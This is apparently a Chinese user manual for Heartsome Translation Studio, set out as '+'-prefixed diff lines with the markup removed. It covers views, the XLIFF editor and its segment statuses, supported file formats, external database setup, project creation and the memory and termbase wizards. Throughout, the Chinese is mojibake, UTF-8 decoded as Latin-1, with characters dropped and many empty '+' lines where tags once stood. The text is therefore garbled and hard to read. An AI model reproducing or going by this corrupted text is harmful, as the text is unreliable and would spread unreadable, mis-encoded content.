    + + + 使用视图 + + + 显示/éšè—视图 + + 视图å¯ä»¥é€šè¿‡åœ¨è§†å›¾èœå•ä¸‹é€‰ä¸­/å–消选中æ¥å®žçŽ°æ˜¾ç¤º/éšè—。å¦å¤–,视图èœå•è¿˜å¯ä»¥æ˜¾ç¤º/éšè—工具æ å’ŒçŠ¶æ€æ ã€‚ + + 对于已ç»æ˜¾ç¤ºçš„视图,还å¯ä»¥é€šè¿‡ç‚¹å‡»è§†å›¾æ ‡é¢˜å³æ–¹çš„ + + + + 按钮将其关闭(也就是éšè—)。 + + + + 改å˜è§†å›¾å¤§å° + + 将鼠标放在视图的边框处,当鼠标光标å˜æˆ + + + + 或 + + + + 的时候,按ä½å·¦é”®æ‹–动,å³åˆ†åˆ«å¯ä¿®æ”¹è§†å›¾çš„宽ã€é«˜å¤§å°ã€‚ + + + + 最å°åŒ–ã€æœ€å¤§åŒ–视图 + + 点击视图å³ä¸Šè§’çš„ + + + + 按钮,分别å¯ä»¥æœ€å°åŒ–ã€æœ€å¤§åŒ–视图。åŒå‡»è§†å›¾çš„标题æ ï¼Œä¹Ÿå¯ä»¥åœ¨æœ€å¤§åŒ–的常规大å°ä¹‹é—´åˆ‡æ¢ã€‚ + + + + 改å˜è§†å›¾ä½ç½® + + 在视图标题æ å¤„按ä½é¼ æ ‡å·¦é”®ï¼Œæ‹–动到其他ä½ç½®ï¼Œå‡ºçŽ°çš„虚线框å³è¡¨ç¤ºè¯¥è§†å›¾çš„æ–°ä½ç½®ã€‚ + + +
    + + + XLIFF 编辑器 + + XLIFF 编辑器是 HSTS + 中最常用的界é¢ç»„件,所有对æºæ–‡ã€è¯‘文的æ“作都在编辑器中完æˆã€‚ + + 对编辑器的改å˜å¤§å°ã€æœ€å°åŒ–ã€æœ€å¤§åŒ–ã€æ‹–动ä½ç½®ç­‰æ“作,和其他视图类似,详情请å‚考上一节。 + +
    + XLIFF 编辑器 + + + + + + + + +
    + + 编辑器æ供了两ç§å¸ƒå±€ï¼Œä¸Šå›¾ä¸ºé»˜è®¤çš„水平布局,而下图则为垂直布局,打开文件åŽå¯ä»¥åœ¨äºŒè€…之间切æ¢ã€‚ + +
    + XLIFF 编辑器:垂直布局 + + + + + + + + +
    + + å•å‡» XLIFF 编辑器的列首å¯ä»¥æŒ‰æºæ–‡ã€è¯‘文等内容对文本段进行排åºã€‚其中状æ€åˆ—æ供了四个图标,分别表示如下状æ€ï¼š + + + + æ–‡æœ¬æ®µçŠ¶æ€ + + 该文本段在翻译æµç¨‹ä¸­çš„处ç†çŠ¶æ€ï¼Œåˆ†åˆ«æœ‰å¦‚下六ç§ï¼š + + + + 未翻译 + + 译文为空时的默认状æ€ã€‚ + + + + è‰ç¨¿ + + 添加或编辑译文åŽçš„默认状æ€ã€‚ + + + + 已翻译 + + 执行完æˆç¿»è¯‘æ“作åŽçš„状æ€ï¼ŒåŒæ—¶ä¼šå°†æ–‡æœ¬æ®µå…¥åº“。通常由翻译人员执行此æ“作。 + + + + 已批准 + + 执行批准æ“作åŽçš„状æ€ï¼ŒåŒæ—¶ä¹Ÿä¼šå°†æ–‡æœ¬æ®µå…¥åº“。通常由编辑/校对人员执行此æ“作。 + + + + å·²ç­¾å‘ + + 执行签å‘æ“作åŽçš„状æ€ã€‚用æ¥è¡¨ç¤ºè¯¥æ–‡æœ¬æ®µçš„译文为最终确认的终稿。 + + + + å·²é”定 + + é”定文本段åŽçš„状æ€ã€‚é”定文本段å¯ä»¥é¿å…æ„外修改ä¸åº”修改的内容,例如ä¸éœ€è¦ç¿»è¯‘的文本段。é”定åŽçš„文本段暂时看ä¸åˆ°å…¶åœ¨è¢«é”定之å‰çš„æµç¨‹å¤„ç†çŠ¶æ€ï¼Œè§£é”文本段åŽä¼šè‡ªåŠ¨æ¢å¤ä¸ºå…¶åœ¨è¢«é”定之å‰çš„状æ€ã€‚ + + + + + + ä¸æ·»åŠ åˆ°è®°å¿†åº“ + + 为文本段设置ä¸æ·»åŠ åˆ°è®°å¿†åº“标记åŽçš„状æ€ã€‚默认所有文本段都会添加到记忆库,但有些情况下,å¯èƒ½éœ€è¦æŒ‡å®šæŸäº›æ–‡æœ¬æ®µå§‹ç»ˆä¸éœ€è¦æ·»åŠ åˆ°è®°å¿†åº“中,就å¯ä»¥ä½¿ç”¨æ­¤æ ‡è®°ã€‚ + + + + 有疑问 + + 为文本段设置有疑问标记åŽçš„状æ€ã€‚对文本段的æºæ–‡æˆ–译文有疑问,需è¦å†æ¬¡ç¡®è®¤çš„,å¯ä»¥æ·»åŠ æ­¤æ ‡è®°ï¼Œæ–¹ä¾¿è¿‡æ»¤å‡ºæ¥ç»Ÿä¸€å¤„ç†ã€‚ + + + + 有批注 + + 添加批注åŽçš„文本段就会显示此图标。 + + + + + 编辑器的字体å¯ä»¥åœ¨å·¥å…· > + 选项 > + 系统中设置,å¯ä»¥ä¸Žè®°å¿†åº“/术语库使用ä¸åŒçš„字体。 + +
    +
    + + + 工作æµç¨‹ + + 使用 Heartsome Translation Studio 进行翻译的æµç¨‹å¦‚下: + +
    + Heartsome Translation Studio 项目翻译æµç¨‹ + + + + + + +
    + + + 项目准备 + + 在开始使用 Heartsome Translation Studio 翻译项目之å‰ï¼Œç”¨æˆ·éœ€è¦åœ¨ HSTS + 之外完æˆå¦‚下一些准备工作,以帮助用户更好地完æˆç¿»è¯‘项目。 + + + æºæ–‡ä»¶ + + 在翻译项目中,需è¦ç¿»è¯‘çš„æºæ–‡ä»¶é€šå¸¸éƒ½ä¼šå¸¦æœ‰ä¸€äº›ç‰¹å®šçš„æ ¼å¼ä¿¡æ¯ï¼Œä¾‹å¦‚对字体样å¼ã€å¤§å°ã€é¢œè‰²ã€æ®µè½å¸ƒå±€ç­‰å¤–观进行定义。CAT + 工具在处ç†è¿™äº›æ–‡ä»¶æ—¶ï¼Œéœ€è¦æŠŠçœŸæ­£è¦ç¿»è¯‘的文本内容从æºæ–‡ä»¶ä¸­æå–出æ¥ï¼Œä½¿ç¿»è¯‘人员能够专注于待翻译的内容本身,而ä¸ä¼šå—到格å¼ä¿¡æ¯çš„干扰。 + + 客户æ供的待翻译文件通常有两ç§ç±»åž‹ï¼šä¸€ç§æ˜¯æœªç»è½¬æ¢çš„原始æºæ–‡ä»¶ï¼›å¦ä¸€ç§æ˜¯å·²ç»ä»Žæºæ–‡ä»¶è½¬æ¢å¥½çš„文件,如 SDL + Tradosã€Déjà Vuã€Wordfast Pro å’Œ MemoQ 等工具的åŒè¯­æ–‡ä»¶ã€‚ + + Heartsome Translation Studio 支æŒå¦‚下格å¼çš„第一ç§ç±»åž‹çš„æºæ–‡ä»¶ï¼š + + + + .docx, .xlsx, + .pptx + + Microsoft Office 文档 + + + + .doc, .xls, + .ppt + + Microsoft Office 97-2004 文档 + + + + .html, .htm + + 网页文件 + + + + .idml + + Adobe InDesign 标记 + + + + .inx + + Adobe InDesign 交æ¢æ–‡æ¡£ + + + + .js + + JavaScript 脚本 + + + + .mif + + Adobe FrameMaker 交æ¢æ ¼å¼ + + + + .odt, .ods, .odp, + .odg + + OpenOffice 文档 + + + + .po + + GNU gettext å¯ç§»æ¤å¯¹è±¡ + + + + .properties + + Java 资æºæ–‡ä»¶ + + + + .rc + + Windows C/C++ 资æºæ–‡ä»¶ + + + + .resx + + Windows .NET 资æºæ–‡ä»¶ + + + + .rtf + + å¯Œæ–‡æœ¬æ ¼å¼ + + + + .rtf + + SDL Trados åŒè¯­ RTF 文件 + + + + .txt + + 文本文件 + + + + .xml + + XML 文件 + + + + HSTS 支æŒå°†å¦‚下第二ç§ç±»åž‹çš„文件当作æºæ–‡ä»¶å¤„ç†ï¼š + + + + .mqxlz + + MemoQ 6.x 文档 + + + + .sdlxliff + + SDL Trados XLIFF 文件 + + + + .ttx + + SDL Trados TagEditor TRADOStag åŒè¯­æ–‡ä»¶ + + + + .txml + + Wordfast Pro TXML åŒè¯­æ–‡ä»¶ + + + + .xlf + + Déjà Vu XLIFF 文件 + + + + 第二ç§ç±»åž‹çš„文件中,HSTS 还å¯ä»¥ç›´æŽ¥æ‰“开如下格å¼çš„文件: + + + + .hsxliff + + Heartsome Translation Studio R8 XLIFF 文件 + + + + .xlf, .xliff + + 标准的 XLIFF 文档 + + + 如果该 XLIFF 文件ä¸æ˜¯ç”± HSTS R8 生æˆçš„,则å¯èƒ½æ— æ³•å®Œå…¨ä½¿ç”¨ HSTS R8 的所有特性。建议åªç”¨ + HSTS 打开相åŒç‰ˆæœ¬çš„程åºæ‰€ç”Ÿæˆçš„ XLIFF 文件(扩展å为 .hsxliff)。 + + + + + 如果您手上的æºæ–‡ä»¶ä¸æ˜¯ä¸Šè¿°åˆ—表中的任一ç§æ ¼å¼ï¼Œåˆ™å¯èƒ½éœ€è¦å…ˆé€šè¿‡è½¬æ¢æˆ–人工处ç†ç­‰æ–¹å¼ï¼Œå¾—到上述任一ç§ç±»åž‹çš„文件,然åŽæ‰å¯ä»¥ç”¨ + HSTS + æ¥ç¿»è¯‘。对于一个项目,至少需è¦å‡†å¤‡ä¸Šè¿°ä¸¤ç§ç±»åž‹çš„待翻译文件中的任一ç§ã€æˆ–它们的组åˆï¼Œå»ºè®®ä¼˜å…ˆä½¿ç”¨ç¬¬ä¸€ç±»åŽŸå§‹æ ¼å¼çš„æºæ–‡ä»¶ã€‚ + + 如果æºæ–‡ä»¶æ•°é‡è¾ƒå¤šã€ä¸”有一些特定的目录结构,用户ä¸éœ€è¦äººå·¥ç§»åŠ¨æ–‡ä»¶æˆ–改å˜å…¶ä¿å­˜è·¯å¾„,HSTS + 能很好地处ç†è¿™äº›æºæ–‡ä»¶ï¼Œåœ¨ç¿»è¯‘过程中能始终ä¿æŒè¯¥å›ºå®šçš„目录结构ã€å¹¶æ供方便的批é‡æ“作。 + + + + TMX 文件 + + + å¯é€‰ + + + 若客户æ供了 TMX 文件,或用户所在公å¸æˆ–个人拥有从任何途径得到的 TMX + 文件,则需è¦åœ¨åˆ›å»ºé¡¹ç›®å‰å‡†å¤‡å¥½ï¼Œä»¥ä¾¿åœ¨åˆ›å»ºé¡¹ç›®æ—¶å°†å…¶å¯¼å…¥åˆ°æ–°é¡¹ç›®çš„记忆库中。导入 HSTS çš„ TMX 文件应使用 UTF-8 + ç¼–ç ä¿å­˜ï¼Œå¦åˆ™å…¶å†…容将å¯èƒ½æ— æ³•è¢«æ­£ç¡®è¯†åˆ«ã€‚ + + + + TBX 文件 + + + å¯é€‰ + + + 若客户æ供了 TBX 文件,或用户所在公å¸æˆ–个人拥有从任何途径得到的 TBX + 文件,则需è¦åœ¨åˆ›å»ºé¡¹ç›®å‰å‡†å¤‡å¥½ï¼Œä»¥ä¾¿åœ¨åˆ›å»ºé¡¹ç›®æ—¶å°†å…¶å¯¼å…¥åˆ°æ–°é¡¹ç›®çš„术语库中。导入 HSTS çš„ TBX 文件应使用 UTF-8 + ç¼–ç ä¿å­˜ï¼Œå¦åˆ™å…¶å†…容将å¯èƒ½æ— æ³•è¢«æ­£ç¡®è¯†åˆ«ã€‚ + + + + æ•°æ®åº“æœåŠ¡å™¨ + + + å¯é€‰ + + + HSTS + 个人版åŠæ›´é«˜ç‰ˆæœ¬æ供了内置的文件型数æ®åº“,å¯ç”¨äºŽåˆ›å»ºè®°å¿†åº“和术语库,而专业版和旗舰版则é¢å¤–æ供了外部数æ®åº“的支æŒã€‚使用外部数æ®åº“æœåŠ¡å™¨ï¼Œé™¤äº†å¯ä»¥èŽ·å¾—更佳的数æ®åº“性能体验之外,还å¯ä»¥é€šè¿‡ç½‘络与团队的其他æˆå‘˜å…±äº«ä½¿ç”¨è®°å¿†åº“和术语库,实现团队å作。 + + HSTS ç›®å‰æ”¯æŒå¦‚下四ç§ç±»åž‹çš„外部数æ®åº“æœåŠ¡å™¨ï¼š + + + + MySQL + + å…è´¹ã€å¼€æ”¾æºä»£ç ã€è·¨å¹³å°ï¼Œæ”¯æŒ Windowsã€Mac OSã€Linux,主页:www.mysql.com + + + + PostgreSQL + + å…è´¹ã€å¼€æ”¾æºä»£ç ã€è·¨å¹³å°ï¼Œæ”¯æŒ Windowsã€Mac OSã€Linux,主页:www.postgresql.org + + + + Microsoft SQL Server + + 商业软件ã€ä»…æ”¯æŒ Windows,主页:www.microsoft.com/sqlserver + + + + Oracle + + 商业软件ã€æ”¯æŒ Windowsã€Linux,主页:www.oracle.com + + + + è¦åœ¨ HSTS + 中使用上述任一ç§å¤–部数æ®åº“作为记忆库或术语库,用户需è¦å…ˆä¸‹è½½å¹¶åœ¨ç”µè„‘上(本机或专门的æœåŠ¡å™¨ï¼‰å®‰è£…对应的数æ®åº“æœåŠ¡å™¨è½¯ä»¶ï¼Œç„¶åŽåˆ›å»ºæˆ–设置一个具有创建数æ®åº“æƒé™çš„æ•°æ®åº“用户ã€å¹¶èŽ·å¾—其密ç ï¼Œå…·ä½“的安装和设置步骤请å‚考上述网站中æ供的官方文档。 + + 除了在本地安装与é…置上述数æ®åº“作为记忆库或术语库æœåŠ¡å™¨ï¼Œæ‚¨ä¹Ÿå¯ä»¥ä½¿ç”¨äº‘æ•°æ®åº“,例如 Amazon RDSã€ClearDB + 等,详情请查看å„产å“网站。 + + + + + 创建项目 + + HSTS + æ供了易于使用的创建项目å‘导æ¥å¸®åŠ©ç”¨æˆ·åˆ›å»ºé¡¹ç›®ï¼Œç‚¹å‡»æ–‡ä»¶èœå•æˆ–项目视图å³é”®èœå•ä¸­çš„新建 + > + 项目å³å¯æ‰“开新建项目å‘导。 + +
    + 从主èœå•åˆ›å»ºé¡¹ç›® + + + + + + + + +
    + +
    + 从工具æ åˆ›å»ºé¡¹ç›® + + + + + + + + +
    + +
    + 从å³é”®èœå•åˆ›å»ºé¡¹ç›® + + + + + + + + +
    + + + 新建项目å‘导中的所有信æ¯éƒ½å¯ä»¥åœ¨åˆ›å»ºå®ŒæˆåŽä¿®æ”¹æˆ–补充,无须担心跳过其中任一个步骤åŽä¼šé”™è¿‡ä¿®æ”¹ç›¸åº”设置的机会。 + + + 整个新建项目å‘导分为如下五步: + + + é¡¹ç›®ä¿¡æ¯ + +
    + æ–°å»ºé¡¹ç›®ï¼šé¡¹ç›®ä¿¡æ¯ + + + + + + + + +
    + + 项目的基本信æ¯ï¼Œé»˜è®¤åªæœ‰é¡¹ç›®å称。如果需è¦ä¸ºé¡¹ç›®æŒ‡å®šå…¶ä»–属性,å¯ä»¥ç‚¹å‡»é€‰é¡¹æŒ‰é’®ï¼Œä¸ºé¡¹ç›®æ·»åŠ è‡ªå®šä¹‰é¡¹ç›®å±žæ€§ä¿¡æ¯ï¼š + + + + 文本字段 + + åªè¦è®¾ç½®å­—段å称å³å¯ã€‚ + + + + 属性字段 + + 需è¦è®¾ç½®å­—段å称ã€å¹¶æŒ‡å®šå…¶å¯ä»¥ä½¿ç”¨çš„预设值。 + + + +
    + 选项:项目属性 + + + + + + + + +
    + + 在项目信æ¯ä¸­è®¾ç½®çš„自定义项目属性,将在文本段入库时自动ä¿å­˜åˆ°è®°å¿†åº“中。 +
    + + + 语言对 + +
    + 新建项目:语言对 + + + + + + + + +
    + + 该项目需è¦ä»Žå“ªä¸ªè¯­è¨€ç¿»è¯‘为哪些语言,å³ï¼š + + + + æºè¯­è¨€ + + + + 目标语言 + + + + 其中æºè¯­è¨€åªèƒ½æœ‰ä¸€ä¸ªï¼Œè€Œç›®æ ‡è¯­è¨€å¯ä»¥æœ‰å¤šä¸ªã€‚如果您的项目语言没有在æºè¯­è¨€æˆ–目标语言列表中列出,则å¯ä»¥åœ¨å·¥å…·èœå• + > 选项 > + 语言管ç†ä¸­æ·»åŠ ã€‚ + +
    + é€‰é¡¹ï¼šè¯­è¨€ç®¡ç† + + + + + + + + +
    +
    + + + 记忆库 + + + å¯è·³è¿‡æ­¤æ­¥éª¤ï¼Œç›´æŽ¥å®Œæˆ + + + 为该项目设置需è¦ä½¿ç”¨å“ªäº›ç¿»è¯‘记忆库,å¯ä»¥è¿›è¡Œå¦‚下æ“作: + +
    + 新建项目:记忆库 + + + + + + + + +
    + + + + 添加 + + 添加一个已创建好的记忆库。 + + + + 创建 + + 打开新建记忆库å‘导,创建一个全新的记忆库。详细步骤请è§ä¸‹é¢çš„。 + + + + 移除 + + 将选中的记忆库从当å‰é¡¹ç›®ä¸­ç§»é™¤ï¼Œä½†ä¸ä¼šåˆ é™¤å®žé™…的记忆库åŠå…¶ä¸­çš„任何数æ®ã€‚æ­¤æ“作仅表示ä¸åœ¨è¯¥é¡¹ç›®ä¸­ä½¿ç”¨è¯¥è®°å¿†åº“。 + + + + 导入 TMX + + 往选中的记忆库中导入 TMX 文件。 + + + + 设置为默认库 + + 默认情况下,第一个添加到项目中的记忆库会被自动设置为默认记忆库,å³å¯è¯»å†™ï¼Œä¸Žä¹‹å¯¹åº”的,éžé»˜è®¤åº“则为åªè¯»ã€‚若添加了多个记忆库,å¯ä»¥é€šè¿‡è®°å¿†åº“列表“默认库â€åˆ—中的å¤é€‰æ¡†æ¥é€‰æ‹©å“ªä¸ªè®°å¿†åº“应该作为默认库。 + + +
    + + + 术语库 + + + å¯è·³è¿‡æ­¤æ­¥éª¤ï¼Œç›´æŽ¥å®Œæˆ + + +
    + 新建项目:术语库 + + + + + + + + +
    + + 与记忆库类似,此步å¯ä»¥ä¸ºè¯¥é¡¹ç›®è®¾ç½®éœ€è¦ä½¿ç”¨å“ªäº›æœ¯è¯­åº“,å¯è¿›è¡Œå¦‚下æ“作: + + + + 添加 + + 添加一个已创建好的术语库。 + + + + 创建 + + 打开新建术语库å‘导,创建一个全新的术语库。详细步骤请è§ä¸‹é¢çš„。 + + + + 移除 + + 将选中的术语库从当å‰é¡¹ç›®ä¸­ç§»é™¤ï¼Œä½†ä¸ä¼šåˆ é™¤å®žé™…的术语库åŠå…¶ä¸­çš„任何数æ®ã€‚æ­¤æ“作仅表示ä¸åœ¨è¯¥é¡¹ç›®ä¸­ä½¿ç”¨è¯¥æœ¯è¯­åº“。 + + + + 导入 TBX + + 往选中的术语库中导入 TBX 文件。 + + + + 设置为默认库 + + 默认情况下,第一个添加到项目中的术语库会被自动设置为默认术语库,å³å¯è¯»å†™ï¼Œä¸Žä¹‹å¯¹åº”的,éžé»˜è®¤åº“则为åªè¯»ã€‚若添加了多个术语库,å¯ä»¥é€šè¿‡æœ¯è¯­åº“列表“默认库â€åˆ—中的å¤é€‰æ¡†æ¥é€‰æ‹©å“ªä¸ªæœ¯è¯­åº“应该作为默认库。 + + +
    + + + æºæ–‡ä»¶ + + + å¯è·³è¿‡ + + +
    + 新建项目:添加æºæ–‡ä»¶ + + + + + + + + +
    + + 在创建项目的最åŽä¸€æ­¥ï¼Œå¯ä»¥å°†æºæ–‡ä»¶æ·»åŠ åˆ°é¡¹ç›®ä¸­ã€‚具体如下: + + + + 添加 + + 选择æºæ–‡ä»¶ï¼Œå¹¶æ·»åŠ åˆ°è¯¥é¡¹ç›®ä¸­ã€‚ + + + + 移除 + + 将已添加的æºæ–‡ä»¶ä»Žé¡¹ç›®ä¸­ç§»é™¤ã€‚ + + + + 转æ¢æºæ–‡ä»¶ä¸º XLIFF + + 在项目创建完æˆåŽï¼Œç«‹å³å°†æºæ–‡ä»¶è½¬æ¢ä¸º XLIFF 文件。 + + + + 此处适åˆæ·»åŠ ä¸åŒ…å«ç‰¹å®šç›®å½•ç»“æž„çš„æºæ–‡ä»¶ï¼Œè‹¥éœ€è¦æ·»åŠ åŒ…å«ç‰¹å®šç›®å½•ç»“æž„çš„æºæ–‡ä»¶ï¼Œè¯·å…ˆè·³è¿‡æ­¤æ­¥éª¤ï¼Œåœ¨åˆ›å»ºå®ŒæˆåŽä»¥æ‹–放的方å¼å°†æºæ–‡ä»¶æ·»åŠ åˆ°é¡¹ç›®ä¸­æ¥ï¼Œè¯¦æƒ…è§ã€‚ + + 创建好的新项目会自动生æˆä¸€äº›é¢„设的目录结构,它们的作用分别如下: + +
    + 项目目录结构 + + + + + + + + +
    + + + + Intermediate + + 此文件夹主è¦å­˜æ”¾é¡¹ç›®å¤„ç†çš„过程文件,默认有如下两个å­æ–‡ä»¶å¤¹ï¼š + + + + Report + + 此文件夹存放进行字数分æžã€ç¿»è¯‘或编辑进度分æžåŽï¼Œæ‰€ç”Ÿæˆçš„报告文件(HTML æ ¼å¼ï¼‰ã€‚ + + + + SKL + + 此文件夹存放将æºæ–‡ä»¶è½¬æ¢ä¸º XLIFF 时生æˆçš„éª¨æž¶æ–‡ä»¶ï¼Œåœ¨è½¬æ¢ XLIFF + 为目标文件时需è¦éª¨æž¶æ–‡ä»¶ã€‚ + + + + + + Source + + 此文件夹存放è¦ç¿»è¯‘çš„æºæ–‡ä»¶ï¼Œå»ºè®®ä¿ç•™åŽŸæœ‰çš„目录结构,ä¸ç”¨ç‰¹æ„改å˜ã€‚ + + + + Target + + 此文件夹存放翻译好的目标文件,其下会以目标语言的语言代ç ä½œä¸ºç¬¬ä¸€çº§å­ç›®å½•ï¼Œå…¶ä¸­æ˜¯æºæ–‡ä»¶çš„目录结构。 + + + + XLIFF + + 此文件夹存放 XLIFF 文件,åŒæ ·ä¼šä»¥ç›®æ ‡è¯­è¨€çš„语言代ç ä½œä¸ºç¬¬ä¸€çº§å­ç›®å½•ï¼Œå…¶ä¸­æ˜¯æºæ–‡ä»¶çš„目录结构。 + + +
    +
    + + + 译å‰å‡†å¤‡ + + 在开始进行真正的翻译工作之å‰ï¼Œè¿˜éœ€è¦åšå¦‚下准备工作,以达到事åŠåŠŸå€çš„效果: + + + 新建记忆库å‘导 + + 为了更好地利用 CAT + 的辅助翻译特性,建议æ¯ä¸ªç”¨æˆ·åœ¨å®Œæˆç¿»è¯‘项目的过程中使用记忆库。如果在创建项目时没有创建或添加记忆库,在创建完æˆåŽè¿˜å¯ä»¥é€šè¿‡æ–‡ä»¶èœå•æˆ–å³é”®èœå• + > 新建 > + 记忆库æ¥æ‰“开新建记忆库å‘导。 + + + è®°å¿†åº“åŸºæœ¬ä¿¡æ¯ + +
    + æ–°å»ºè®°å¿†åº“ï¼šè®°å¿†åº“ä¿¡æ¯ + + + + + + + + +
    + + 新建记忆库å‘导的第一步,需è¦é€‰æ‹©åˆ›å»ºçš„记忆库类型,选择ä¸åŒçš„æ•°æ®åº“类型,需è¦è¾“入的基本信æ¯ä¹Ÿæœ‰æ‰€ä¸åŒï¼Œå…·ä½“分别如下: + + + Internal DB + + + + 路径 + + ä¿å­˜è®°å¿†åº“的目录。 + + + + å称 + + 记忆库的å称。 + + + + + + MS SQL Server + + + 以下信æ¯å¯èƒ½éœ€è¦è¯·ç›¸å…³çš„ IT 管ç†äººå‘˜å助æ供,或å‚考相应数æ®åº“æœåŠ¡å™¨è½¯ä»¶çš„用户文档。 + + + + + åœ°å€ + + MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚ + + + + ç«¯å£ + + MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 1433。 + + + + 用户å + + 访问 MS SQL Server æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚ + + + + å¯†ç  + + 与用户å对应的密ç ã€‚ + + + + å称 + + 记忆库的å称。 + + + + + + MySQL + + + + åœ°å€ + + MySQL æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚ + + + + ç«¯å£ + + MySQL æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 3306。 + + + + 用户å + + 访问 MySQL æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚ + + + + å¯†ç  + + 与用户å对应的密ç ã€‚ + + + + å称 + + 记忆库的å称。 + + + + + + Oracle + + + + åœ°å€ + + Oracle æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚ + + + + ç«¯å£ + + Oracle æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 1521。 + + + + 实例 + + Oracle æ•°æ®åº“æœåŠ¡å™¨çš„实例。 + + + + 用户å + + 访问 Oracle æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚ + + + + å¯†ç  + + 与用户å对应的密ç ã€‚ + + + + å称 + + 记忆库的å称。 + + + + + + PostgreSQL + + + + åœ°å€ + + PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„主机åã€åŸŸå或 IP 地å€ã€‚ + + + + ç«¯å£ + + PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„访问端å£ï¼Œé»˜è®¤æƒ…况下为 5432。 + + + + 用户å + + 访问 PostgreSQL æ•°æ®åº“æœåŠ¡å™¨çš„用户å,需è¦æœ‰åˆ›å»ºæ•°æ®åº“çš„æƒé™ã€‚ + + + + å¯†ç  + + 与用户å对应的密ç ã€‚ + + + + å称 + + 记忆库的å称。 + + + + + 对于上述所有类型的数æ®åº“,在åŒä¸€å°æ•°æ®åº“æœåŠ¡å™¨ï¼ˆè·¯å¾„ã€æœåŠ¡å™¨ï¼‹ç«¯å£ã€æœåŠ¡å™¨ï¼‹ç«¯å£ï¼‹å®žä¾‹ï¼‰ä¸Šï¼Œåˆ†åˆ«éƒ½å…许创建多个记忆库/术语库。 + + +
    + + + 导入 TMX 文件 + +
    + 新建记忆库:导入 TMX 文件 + + + + + + + + +
    + + 在新建记忆库å‘导的第二步,å¯ä»¥é€‰æ‹©å°† TMX 文件导入到新创建的记忆库中。 + + 点击选项按钮,å¯ä»¥è®¾ç½®é‡å¤é¡¹çš„处ç†ç­–略。 + +
    + 选项:记忆库 é‡å¤é¡¹å¤„ç† + + + + + + + + +
    + + + + é‡å¤é¡¹å¤„ç† + + + + 新增 + + 导入速度最快,适用于库中已有的内容与当å‰å¯¼å…¥çš„ TMX + 内容之间无é‡å¤é¡¹ã€æˆ–需è¦ä¿ç•™æ‰€æœ‰é‡å¤é¡¹çš„情况。 + + + + 覆盖 + + 导入速度较慢,适用于当å‰å¯¼å…¥çš„ TMX 内容比库中的内容更新的情况。 + + + + 忽略 + + 导入速度中等,适用于库中的内容比当å‰å¯¼å…¥çš„ TMX 内容更新的情况。 + + + + +
    +
    + + + 新建术语库å‘导 + + + æœ¯è¯­åº“åŸºæœ¬ä¿¡æ¯ + +
    + æ–°å»ºæœ¯è¯­åº“ï¼šåŸºæœ¬ä¿¡æ¯ + + + + + + + + +
    + + 和创建记忆库一样,新建术语库å‘导的第一步也是选择术语库类型,具体æ¯ç§æ•°æ®åº“类型需è¦è¾“入的信æ¯ï¼Œè¯·å‚考。 +
    + + + 导入 TBX 文件 + +
    + 新建术语库:导入 TBX 文件 + + + + + + + + +
    + + 在新建术语库å‘导的第二步,也和记忆库一样å¯ä»¥é€‰æ‹©å°† TBX 文件导入到新创建的术语库中。 + + 点击选项按钮,å¯ä»¥è®¾ç½®é‡å¤æœ¯è¯­çš„处ç†ç­–略。 + +
    + 选项:术语库 é‡å¤é¡¹å¤„ç† + + + + + + + + +
    + + + + é‡å¤é¡¹å¤„ç† + + + + 新增 + + 导入速度最快,适用于库中已有的内容与当å‰å¯¼å…¥çš„ TBX + 内容之间无é‡å¤é¡¹ã€æˆ–需è¦ä¿ç•™æ‰€æœ‰é‡å¤é¡¹çš„情况。 + + + + 覆盖 + + 导入速度较慢,适用于当å‰å¯¼å…¥çš„ TBX 内容比库中的内容更新的情况。 + + + + åˆå¹¶ + + 导入速度较慢,适用于当å‰å¯¼å…¥çš„ TBX 内容与库中的内容需è¦åŒæ—¶ä¿ç•™çš„情况。 + + + + 忽略 + + 导入速度中等,适用于库中的内容比当å‰å¯¼å…¥çš„ TBX 内容更新的情况。 + + + + +
    +
    + + + 添加æºæ–‡ä»¶ + + 若在创建项目时跳过了添加æºæ–‡ä»¶çš„步骤,或未添加完全,å¯ä»¥åœ¨åˆ›å»ºé¡¹ç›®åŽç›´æŽ¥å°†æºæ–‡ä»¶ï¼ˆä¸€ä¸ªæˆ–多个文件或文件夹)从æ“作系统的文件管ç†å™¨ä¸­ç›´æŽ¥æ‹–放到项目视图中该项目的Source文件夹中。若拖放的是文件夹,则其中的所有å­æ–‡ä»¶å¤¹ç»“构也将被ä¿ç•™ã€‚拖放文件夹的æ“作过程请è§ä¸‹å›¾ï¼š + +
    + 拖放文件夹 + + + + + + + + +
    + + 除了拖放,在æ“作系统的文件管ç†å™¨ä¸­ç›´æŽ¥å¤åˆ¶ä¸€ä¸ªæˆ–多个文件或文件夹,然åŽåœ¨é¡¹ç›®è§†å›¾ä¸­é€‰æ‹©è¯¥é¡¹ç›®çš„Source文件夹,使用快æ·é”® + Ctrl/Command+V + 或编辑èœå• > + 粘贴,也å¯ä»¥å®žçŽ°æ·»åŠ æºæ–‡ä»¶çš„æ“作。 + + è‹¥è¦åˆ é™¤æºæ–‡ä»¶ï¼Œåˆ™å¯ä»¥åœ¨é€‰ä¸­ä¸€ä¸ªæˆ–多个文件/文件夹åŽï¼Œç‚¹å‡»ç¼–辑èœå• > + 删除,或直接按键盘上的 Delete + é”®æ¥åˆ é™¤ã€‚ +
